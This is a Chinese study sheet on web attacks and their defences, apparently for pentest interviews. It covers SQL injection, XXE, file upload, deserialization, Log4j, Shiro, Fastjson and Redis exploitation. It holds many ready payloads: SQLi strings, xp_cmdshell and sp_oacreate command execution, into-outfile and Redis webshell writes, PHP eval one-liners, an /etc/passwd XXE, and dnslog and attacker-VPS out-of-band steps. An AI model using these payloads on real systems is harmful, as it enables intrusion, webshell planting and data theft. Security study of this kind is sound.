赞
踩
web应用对用户输入的数据没有过滤或者过滤不严谨,并且把用户输入的语句当做sql语句带入到数据中执行
从注入参数类型分:数字型、字符型、搜索性
从注入方法分:联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、二次注入
从提交方式分:GET、POST型、COOKIE型、HTTP头型、XFF头型
mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做information_schema,而5.0以下的版本不存在,不能查表名,只能暴力跑表。
information_schema下面又包含了这几张表:schemata、tables、columns。这三张表依次分别存放着字段:(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)
select group_concat(table_name) from information_schema.tables where table_schema=database();
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ;
5.0以上是多用户多操作,5.0以下是多用户单操作
一个@是用户自定义变量,两个@是系统变量,如@@version,@@user
database() 返回当前数据库名 user() 返回当前数据库用户名 updatexml() 更新xml文档,常用于报错注入 mid() 从指定字段中提取出字段的内容 limit() 返回结果中的前几条数据或者中间的数据 concat() 返回参数产生的字符串 group_concat() 分组拼接函数 count() 返回指定参数的数目 rand() 参数0~1个随机数 flood() 向下取整 substr() 截取字符串 ascii() 返回字符串的ascii码 left() 返回字符串最左边指定个数的字符 ord() 返回字符的ascii码 length() 返回字符串长度 sleep() 延时函数
等价函数绕过,反之亦可:
group_concat ( ) ==> concat_ws( ) sleep( ) ==> benchmark()、getlock() mid ( )、substr( ) ==> substring( ) user() ==> @@user updatexml( ) ==> extractvalue()、floor()、exp()
常用编码:
0x27 == ' == %27 0x23 == # == %23 0x7e == ~ == %7e 0x5c == / == %5c 0xdf /
宽字节注入:
当php开启gpc或者使⽤addslashes函数时,单引号'被加上反斜杠',其中\的URL编码为%5C,我们传⼊%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql⽤GBK编码时会认为%df%5C是个宽字符縗,于是%df%5C'便等价于縗',单引号得以逃逸出来,产⽣注⼊。
操作:
id=1%df' and 1=2 union select 1,2,user(),4 %23
防范措施:
防范措施:预编译、参数化查询、统一字符编码方式
如果
magic_quotes_gpc=On
,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。
参数传入的恶意数据在传入时被转义,但是在数据库处理时又被还原并存储在数据库中,导致二次注入。 举例: 注册用户名admin'#用户,传入值为admin'#,但是在存储数据库时值变为admin'#,此时若修改密码为123456,管理员admin密码就被修改为123456
BENCHMARK、Get_lock函数,当都被禁用后可以使用计算量比较大的语句让数据库的查询时间边长,从而达到延时注入的效果。
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(100000 00,md5(0x41))),1) --+
AND (SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.SCHEMATA C);
id=1 and if(ascii(substring((database()),1,1))=115,(select get_lock('mylock',10)),1) --+
(select benchmark(10000000,md5(0x41)))
:如果上述条件为真(即数据库名以's'开头),则执行这个子查询。这里使用的benchmark
函数是MySQL的一个功能,它重复执行一个表达式指定次数(这里是10000000次),用于测量表达式的性能。这里的表达式是md5(0x41)
,即计算字符'A'的MD5哈希值。执行这一重复操作通常会导致数据库响应变慢,从而可以被攻击者用来推断条件表达式的结果
(select get_lock('mylock',10))
:如果上述条件为真,则执行这个子查询。get_lock('mylock',10)
函数尝试获取一个名为 'mylock' 的锁,并最多等待 10 秒来获得这个锁。如果锁被成功获取,该函数返回 1;如果在指定时间内未能获取锁,则返回 0。这个函数的调用会导致查询在获得锁或超时前暂停执行,从而可以通过观察查询延迟来推断条件的结果。
二分法加速 与运算加速 二进制延时注入加速 dnslog OOB外带通信
floor()
floor函数在SQL函数中用于向下取整,即将一个数值向下取整到最接近的整数
?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
extravalue()
?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'))))--+
updatexml()
?id=1" and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+
exp()
条件:
当前用户具有dba权限 找到网站绝对路径 网站有可写目录 mysql的配置secure_file_priv为空
用法:
mysql
id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23
sqlserver:
id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --
内联注释绕过 填充大量脏数据绕过垃圾参数填充绕过 改变提交方式绕过,如GET方式变为POST方式 提交随机agent头绕过 fuzz过滤函数,函数替换绕过
1、参数化查询
参数化查询的工作原理是将 SQL 语句的结构与其使用的数据分开。当数据库服务器接收到一个参数化的查询时,它首先编译 SQL 语句,确定其结构,然后独立于其结构处理每个参数的值。这意味着,即使参数的值包含了可能会改变查询结构的 SQL 关键字或特殊字符,这些值也只会被视为数据,而不是 SQL 代码的一部分
使用参数占位符,确保传入的参数值不会被解析为SQL语句的一部分
确保语句是语句,参数是参数,即使参数中是sql语句,也只是普通字符串数据,不会影响查询的结构
2、使用预编译语句
预编译语句允许应用程序预先编译 SQL 语句,然后再向编译好的语句中插入或修改参数值
3、限制数据库权限
最小权限原则
4、前后端输入验证
对输⼊的特殊字符进⾏Escape 转义处理
正则化匹配过滤关键字 ,对特殊字符进行过滤、转义、替换、删除
限制输入数据的类型、格式和长度
5、关闭报错信息
6、规范编码、字符集
7、WAF
使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:
等级 | 解释 |
---|---|
0 | 只显示python错误以及严重信息 |
1 | 同时显示基本信息和警告信息 |
2 | 同时显示debug信息 |
3 | 同时显示注入的pyload |
4 | 同时显示HTTP请求 |
5 | 同时显示HTTP相应头 |
6 | 同时显示HTTP相应页面 |
各参数详解:
-u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --batch 自动选择yes --smart 启发式快速判断,节约浪费时间 --forms 尝试使用post注入 -r 加载文件中的HTTP请求(本地保存的请求包txt文件) -l 加载文件中的HTTP请求(本地保存的请求包日志文件) -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试 -o 开启所有默认性能优化 --tamper 调用脚本进行注入 -v 指定sqlmap的回显等级 --delay 设置多久访问一次 --os-shell 获取主机shell,一般不太好用,因为没权限 -m 批量操作 -c 指定配置文件,会按照该配置文件执行动作 -data data指定的数据会当做post数据提交 -timeout 设定超时时间 --level 设置注入探测等级 级别越高发送的请求越多 level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5 --risk 风险等级 默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险 --identify-waf 检测防火墙类型 --param-del="分割符" 设置参数的分割符 --skip-urlencode 不进行url编码 --keep-alive 设置持久连接,加快探测速度 --null-connection 检索没有body响应的内容,多用于盲注 --thread 最大为10 设置多线程
利用了root高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出udf.dll文件后,我们就可以直接在命令框中输入cmd
select unhex('udf.dll hex code') into
dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
限制条件:
MySQL 数据库没有开启安全模式(确认secure_file_priv=是否为NULL)
已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限
shell有写入到数据库安装目录的权限
MOF提权是一个有历史的漏洞,基本上在Windows Server 2003的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果 MySQL有权限操作 mof 目录的话,就可以来执行任意命令了
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
前提:
getshell或者存在sql注入并且能够执行命令。
sql server是system权限,sql server默认就是system权限
启用xp_cmdshell
EXEC master..sp_configure 'show advanced options',
1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',
1;RECONFIGURE;
# 通过xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell 'whoami'
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权,
前提:
需要同时具备sp_oacreate和sp_oamethod两个功能组件
开启组件
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH
OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',
1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行系统命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
whoami'
通过沙盒执行命令
# 开启沙盒
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxM
ode','REG_DWORD',1
# 利用jet.oledb执行命令
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32
\ias\dnary.mdb','select shell("whoami")')
通过Agent Job执行命令
修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线
反射型、存储型、DOM型
盗取用户cookie
蠕虫攻击
恶意弹窗
大小写混写、双写、编码、组合平凑、替换
htmlspecialchars()
将预定义字符转为html实体
开启Http-only,禁止js读取cookie信息
输入验证,正则化匹配
服务器允许向其他服务器获取资源,但是并没有对地址做严格的过滤和限制,导致攻击者可以向受害者服务器传入任意的url,地址,并将数据返回
端口探测、敏感信息泄露等,最为主要的就是能够访问到外网无法访问的系统和服务器,漫游内网
从以上我们可以得出,该漏洞产生的原因是由于服务端对资源进行请求的时候对URL的验证出现了纰漏,所以我们的防护策略主要是围绕URL的过滤。 1、将URL进行解析转化成IP,并使用正则表达式表示内网网址,并以此进行URL过滤。 2、建立URL白名单,只允许白名单上内容通过过滤。 3、建立内网P黑名单,阻止对该IP的请求。 4、对返回内容进行过滤,减少敏感内容暴露。 5、禁止不需要的协议,只允许http和https协议的请求,减少file等协议的问题。
用户在统一浏览器下,没有关闭浏览器,访问了攻击者精心伪装好的恶意链接
同源策略(SOP)
限制跨站请求,从标头进行限制 对敏感操作进行二次验证,比如验证码 使用CSRF令牌,即为Token 验证Refer头部,来源进行白名单验证
SSRF(Server-side Request Forgery,服务端请求伪造)和CSRF(Cross-site Request Forgery,跨站请求伪造)是两种不同的攻击类型,它们主要的区别在于攻击的目标和方式。
SSRF攻击是一种通过欺骗服务器来发送恶意请求的攻击技术,攻击者利用服务器上的漏洞进行攻击,并使服务器对指定的目标URL发起网络请求,从而达到恶意操作的目的。SSRF攻击主要针对服务器端应用程序。
而CSRF攻击则是一种利用用户身份验证信息来执行未经授权的操作的攻击,攻击者通过欺骗用户访问包含恶意代码的网站,来达到获取用户敏感信息、执行交易等攻击目的。CSRF攻击主要针对客户端浏览器。
另外,防御SSRF攻击和CSRF攻击的方法也有所不同。防御SSRF攻击需要对所有输入进行严格的验证和过滤,并使用白名单技术限制应用程序只向可信的服务器发送请求。而防御CSRF攻击需要使用随机的令牌(如CSRF Token)来验证每个请求的来源是否合法,并防止攻击者能够伪造请求或欺骗用户进行非法操作。
eval array_map() create_function() call_user_func()
system exec shell_exec passthru popen proc_open
空格过滤绕过:$IFS、<>、%09(要求php环境) 管道符绕过:;、&、&& 消除后缀:%20%23 黑名单绕过:字符拼接、单双引号、反斜杠、通配符 cat命令绕过:more、less、head、tac、tail、nl、 od、vi、vim、sort、uniq、file-f、grep
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
php相关函数有parsexml、simple_xml_loadfile
示例攻击payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
如果服务器解析xml数据并且给出直观的回显,那么我们可以直接通过引用内部实体添加xml数据比如:file:///etc/ passwd文件看到相关数据
如果解析但是不给回显,同时支持检测DTD外部引用实体,我们可以通过xml中添加主机ip发运请求后查看主机ip日志是否得到返回数据,或者干脆使用DNSlog
基于SSRF的XXE,可以通过http协议进行探测
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
不允许XML中有用户自定义的DTD、
参考链接:浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户
如果遇到xxe无回显注入的话,可以选择使用dns外带和外部参数实体注入。在攻击者vps准备一个test.dtd通过base64为将读取的内容加密得到的值当作传参值,发送给攻击者的vps,受害者通过外部参数实体注入访问攻击者公网服务器下的test.dtd文件,最后看攻击者vps日志,解码得到受害者服务器内容 或者dnslog打
1. 反弹shell 2. Http请求外带 3. Dnslog外带 4. 时间延时判断 5. 盲写webshell文件 6. ICMP协议外带
php://filter、data协议、php://input、file=phar://协议
无回显条件下的命令执行判断和利用方式研究 - FreeBuf网络安全行业门户)
黑名单绕过:
特殊文件后缀
大小写
双写
.htaccess
1.这将把目录下的shell.jpg的文件当做可执行的php脚本进行解析并执行 <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
2.上传后缀为.aaa的文件,让其做为php类型文件进行解析 AddType application/x-httpd-php .aaa
.uer.ini
空格绕过(win特性)
.绕过(win特性)
::$DATA绕过(win特性)
%00截断
当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃
示例:a.php%00.jpg
图片马(需配合解析漏洞、包含漏洞)
copy CSDN.png/b+1.php/a phpinfo.png
后端检测:
MIME检测
文件头检测
概念:发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中
产生原理:先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除。
利用思路:设置并发上传、并发访问
方式一:上传a.php木马文件,以极快的时候进行访问,执行文件流重新写入一个新的木马文件b.php
<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?>
只要访问了a.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<?php @eval($_POST["x"]);?>
方式二:上传多个a.php木马文件,赶在应用程序删除它之前,我们进行访问;
出现的原因:处于安全方面的考虑,不信任用户输入、上传的任何数据、图片;因此,对于用户上传的图片等信息,都需要开发人员对图片文件重新生成;这就是防止图片中参杂恶意代码的防御措施;(即,对图片文件流,只保留可以生成图片的最基本部分,其他地方舍弃!)
二次渲染的意义:二次渲染过滤掉图片中掺杂的恶意代码
二次渲染绕过方式:
gif绕过
将包含恶意代码的图片phpinfo.gif,上传到服务器; 服务器上传图片功能代码,对图片进行过滤,只保存最基本的部分,并返回到前端页面展示; 下载上传后的图片,并用winhex.exe打开,发现图片末尾处的一句话木马消失; 使用winhex对比功能,找到原图片与上传后图片的相同之处,并在该位置插入恶意代码; 实际操作:winhex——》工具——》比较——》搜索相同;展示区,蓝色部分是没有发生变化的, 在图片相同处,蓝色部分位置中间插入恶意代码,并上传,成功绕过;
jpg绕过
php jpg_payload.php 2man.jpg
png绕过
php png_payload.php TJXB.png
运行脚本即可生成,这里的一句话木马是:
<?$_GET[0]($_POST[1]);?> 使用方式是get传参0=。。。 加上post传参1=。。。
文件上传防御措施:
文件上传的存储位置与服务器分离
上传文件重新修改文件名、后缀名(前段传递、后端校验)
文件上传的保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载
在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。
解析认证token、session的位置
将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等
将对象序列化后在网络中传输,如传输json数据,xml数据等
参数传递给程序
使用RMI协议,被广泛使用的RMI协议完全基于序列化
使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等
定义协议用来接收与发送原始的java对象
在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。
在Java中没有魔术方法,但是有反射(reflection)机制在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。
对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码
对反序列化接口添加认证授权
设置反序列化服务仅在本地监听或者设置相应防火墙策略
禁止使用存在漏洞的第三方框架库
过滤、禁用危险函数
过滤T3协议或限定可连接的IP
设置Nginx反向代理,实现t3协议和http协议隔离
把对象变成一个可以传输的字符串,为了方便传输.PHP文件在执行结束后会销毁对象,但有时候可能会用到销毁的了的对象,重复调用代码比较麻烦,于是有了序列化和反序列化,可以吧一个实例化对象长久的存在计算机磁盘上,调用的时候拿出来反序列化即可
反序列化内容用户可控,且后台不正当地使用了魔术方法,使用户可以构造一个恶意的序列化字符串
拿到代码,确定unserialize函数参数可控,然后看这些代码有哪些类,类中有哪些魔术方法,可以随着对象的创建或者销毁等操作调用哪些魔术方法,看魔术方法中有没有可以让我们利用的点,看类中有哪些参数可以通过反序列化修改,结合这些可以修改的参数和魔术方法中的利用点进行反序列化漏洞的利用
通过Content-Type
这个header头,进而执行命令,通过 Strus2 对错误消息处理进行回显
使用了 %{…}
语法进行强制OGNL
解析时,有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL
表达式触发漏洞,从而实现远程代码执
alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可挫的,所以namespace也是可控的。 action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性
一般Struts2框架的接口会以.do、.action结尾; struts2一些常见的关键字: memberAcecess,getRuntime,printin,双引号,单引号,等号,括号之类的符号。
T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现RMI远程过程调用的专有协议,其允许客户端进行JNDI调用。
攻击成功会有明显的返回weblogic字样
会有带加密格式的序列化字符串
是否成功攻击要看日志,是否有调用恶意Java类,网络套接字,上传war
全是基于T3协议的反序列化漏洞
2017~2018的反序列化属于weblogic JRMP反序列化
有一些是修复问题,不同的证书编号,可能是上一个漏洞的补丁绕过
攻击者可以构造特殊请求的URL,即可未授权访问并接管管理控制台(WebLogic Server Console)。访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。
通过构造恶意URL链接,调用Java类,有两种,一种可以直接进行命令执行,但需要weblogic版本高于12.2.1,另一种是远程加载恶意xml,weblogic版本高于10.3.6即可。
回答2
通过t3协议直接发送恶意反序列化对象
利用t3协议配合jrmp或jndi接口反向发送反序列化数据
通过javabean xml方式发送反序列化数据
禁用T3协议
禁止启用IIOP
临时关闭后台/console/console.portal对外访问
升级官方安全补丁
特征: 服务器开放7001端口,传递xml数到wls-wsat,数据包内容有bash或者dnslog字段。
Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)
JMX Console未授权访问漏洞
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:
检索RememberMe Cookie的值=>Base 64解码=>AES解密(加密密钥硬编码,通常为默认密钥)=>进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
Apache Shiro <= 1.2.4 shiro-550
Apache Shiro <= 1.4.1 shiro-721
请求包cookie中有RememberMe字段,返回包中包含Set-Cookie: rememberMe=deleteMe字段
未登录:请求包cookie中没有rememberme字段,返回包set-Cookie里也没有deleteMe字段
登陆失败:不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
登陆成功:
不勾选RememberMe字段,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
1、这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库,不需要Remember Cookie。 2、Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie值来实现反序列化漏洞攻击,难度较高。
Apache Shiro反序列化漏洞: Shiro rememberMe (Shiro-550) Shiro Padding Oracle Attack(Shiro-721) Shiro 550:使用56位密钥加密,是DES算法的一种变体 Shiro 721:使用128位密钥加密,是AES算法的一种变体
1.在HTTP请求头Cookie里出现rememberMe字段以及可能出现自定义类型例如c: aWQ=,响应体中出现大量编码字符串,若需要判断是否攻击成功,需对请求数据和响应体内容进行解密判断 2.检查请求头中的"rememberMe" cookie。攻击者可能会在此处插入恶意序列化数据 3.观察服务器响应。如果服务器返回了异常错误信息,如Java反序列化异常,可能表明攻击成功 例如,攻击者发送了一个包含恶意序列化数据的请求,服务器响应了一个包含Java反序列化异常的错误信息这可能表明攻击成功。
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。 fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
使用@type?? ?value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。
1、根据返回包判断: 任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。 2、利用dnslog盲打: 构造以下payload(content-type字段为application/json),利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"ntel8h.dnslog.cn"}}(不同版本,payload不同。推荐这种方式)
原理: java.net.InetAddress这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过dnslog的方式得知漏洞是否存在
{"name": {"@type":"java.net.InetAddress","val":"i1q73g.dnslog.cn"}} { "name":{ "@type":"java.net.InetAddress", "val":"i1q73g.dnslog.cn" } }
@type
存在恶意类和命令
在请求包中查找json格式的字符串,重点在于rmi和一些出网操作
一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果
通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
直接将命令执行结果回显到请求Poc的HTTP响应中
第一种:解析Json的时候需要用feature才能触发,然后利用poc构建
第二种:需要搭建环境,部署在tomcat环境
用BCEL库
该漏洞主要是由于日志在打印时当遇到${
后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞
Apache Log4j2框架中存在一个名为JNDI Lookup的功能,它允许通过配置文件中的JNDI名称引用外部资源。 攻击者构造一个特殊的日志消息,其中包含恶意的JNDI名称,并通过网络发送给受影响的应用程序。当应用程序使用Log4j2框架解析日志消息时,它会尝试查找和引用该JNDI名称。如果恶意的JNDI名称指向一个恶意的远程资源,例如恶意的LDAP服务器或RMI 服务,攻击者可以控制该远程资源的内容和行为。 攻击者可以在恶意的远程资源中注入恶意代码,并在目标系统上执行任意命令或获取敏感信息。
2.0 <= Apache Log4j <= 2.15.0-rc1,2.15.0-rc2不受影响
攻击者发送的数据包中可能存在${jndi:}字样,推荐使用全流量或WAF设备进行检索排查
jndi注入,可以不是jndi,jndi有可能被拼接,但是一定有${},一般通过ldap远程加载class文件
有时会出现在ua头,不在请求体
使用dnslog探测log4j漏洞
在自己的vps上,下载jndi注入器
构造bash命令,如反弹shell命令,执行,会自动搭建rmi或ldap服务
再在自己的vps上开启端口监听
在存在漏洞的页面上构造payload,发送注入器提供的远程下载地址
1、dnslog类:查看是否存在源ip与dnslog的外联日志记录 2、命令执行攻击 2.1 有回显:响应体中存在命令执行结果 2.2 无回显:存在源ip与ldap服务ip的外联日志记录
写入ssh公钥
写计划任务反弹shell
远程/本地主从复制RCE
条件:服务器存在.ssh目录且具有写入的权限
原理:在数据库中插入一条数据,将本机的公钥作value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
条件:已知web绝对路径。
步骤:
1. redis -cli -h 192.168.x.x 连接目标服务器 2. config set dir "/var/www/html" 设置保存文件路径 3. config set dbfilename shell.php 设置保存文件名` 4. set x "\n\n<?php <span class="label label-primary">@eval($_POST['cmd']);</span> ?>\n" 将webshell写入x键值中 5. save 保存
原理:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通写C语言编译并加载恶意的.so文件,达到代码执行的目的。 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步恶意的.so文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了
利用流程:`
生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。 git clone GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules! cd RedisModules-ExecuteCommand/ make
攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
利用手段:通过dict和gopher协议,前者探测,后者写入
探测端口:ssrf.php?url=dict://x.x.x.x:端口 //利用burpsuite爆破端口
探测是否设置弱口令:ssrf.php?url=dict://x.x.x.x:6379/info //已知端口利用info探测是否设置了密码`
爆破密码:ssrf.php?url=dict://x.x.x.x:6379/auth:密码 //利用burpsuite爆破密码
写入webshell:
1.url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录` 2.url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名3.url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e //利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制4.url=dict://x.x.x.x:6379/save 保存
通过gopher写入webshell
set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"`
config set dir /var/www/html`
config set dbfilename shell.php`
save`
两次url编码直接访问即可`
无Ping扫描通常用于防火墙禁止Ping的情况下,它能确定正在运行的机器。默认情况下,Nmap只对正在运行的主机进行高强度的探测,如端口扫描、版本探测或者操作系统探测
用-P0禁止主机发现会使Nmap对每一个指定的目标IP地址进行所要求的扫描,这可以穿透防火墙,也可以避免被防火墙发现。需要注意的是,-P0的第二个字符是数字0而不是字母O。使用“nmap -P0【协议1、协议2】【目标】”进行扫描。
1、全面扫描 nmap -A 192.168.1.103 2、Ping扫描 nmap -sP 192.168.1.1/24 3、免 Ping 扫描,穿透防火墙,避免被防火墙发现 nmap -P0 192.168.1.103 4、版本探测 nmap -sV 192.168.1.103 nmap -sV -A 192.168.1.103
部分系统禁止ping导致nmap部分选项无法执行,则遇到禁Ping的可以加上 -PN
绕过防火墙进行扫描探测
nmap -PN-A -v 127.0.0.1
渗透测试工具 nmap 端口扫描 - 使用详解 - FreeBuf网络安全行业门户
正向代理代理的是客户端、反向代理代理的是服务端;
正向代理是在客户端搭建,反向代理是在服务端搭建;
正向代理解决访问限制问题,反向代理起到安全防护作用
1、web类
这部分常有的漏洞有:(web漏洞、敏感目录、第三方通用组件漏洞struts、thinkphp、jboss、ganglia、zabbix)
80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不当 造成fastcgi端口泄露 80-89 web 8000-9090 web
2、数据库类(扫描弱口令、未授权)
1433 MSSQL 1521 Oracle 3306 MySQL 6379 redis未授权 5432 PostgreSQL
3、特殊服务类(未授权/命令执行/漏洞)
443 SSL心脏滴血 873 Rsync未授权 7001、7002 weblogic 默认弱口令、反序列化 9200、9300 ElasticSearch 命令执行漏洞 11211 memcache 未授权访问 50070、50030 hadoop 默认端口未授权访问
4、常用端口类(扫描弱口令/端口爆破)
